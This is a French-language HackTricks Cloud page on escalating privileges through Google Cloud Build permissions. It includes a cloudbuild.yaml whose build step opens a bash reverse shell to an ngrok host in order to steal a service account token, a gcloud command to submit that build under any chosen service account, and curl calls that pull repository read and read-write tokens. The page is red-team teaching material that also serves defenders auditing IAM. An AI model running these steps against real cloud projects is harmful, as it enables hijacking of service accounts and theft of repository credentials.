GCP - Cloudbuild Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
cloudbuild
Pour plus d'informations sur Cloud Build, consultez :
cloudbuild.builds.create
, iam.serviceAccounts.actAs
Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son système de fichiers par défaut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
. Cependant, vous pouvez indiquer n'importe quel compte de service à l'intérieur du projet dans la configuration cloudbuild.
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou obtenir un shell inversé à l'intérieur et récupérer le token (le fichier contenant le token peut changer).
Exploitation directe via gcloud CLI
1- Créez cloudbuild.yaml
et modifiez-le avec vos données d'écoute
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
2- Téléchargez un build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour le build :
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
Utilisation de la bibliothèque python gcloud
Vous pouvez trouver le script d'exploitation original ici sur GitHub (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, vérifiez un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici et un script python pour obtenir un shell inversé à l'intérieur de la machine cloudbuild et le voler ici (dans le code, vous pouvez trouver comment spécifier d'autres comptes de service).
Pour une explication plus approfondie, visitez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Avec cette permission, l'utilisateur peut obtenir le token d'accès en lecture utilisé pour accéder au dépôt :
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
cloudbuild.repositories.accessReadWriteToken
Avec cette autorisation, l'utilisateur peut obtenir le jeton d'accès en lecture et écriture utilisé pour accéder au dépôt :
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
cloudbuild.connections.fetchLinkableRepositories
Avec cette permission, vous pouvez obtenir les dépôts auxquels la connexion a accès :
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.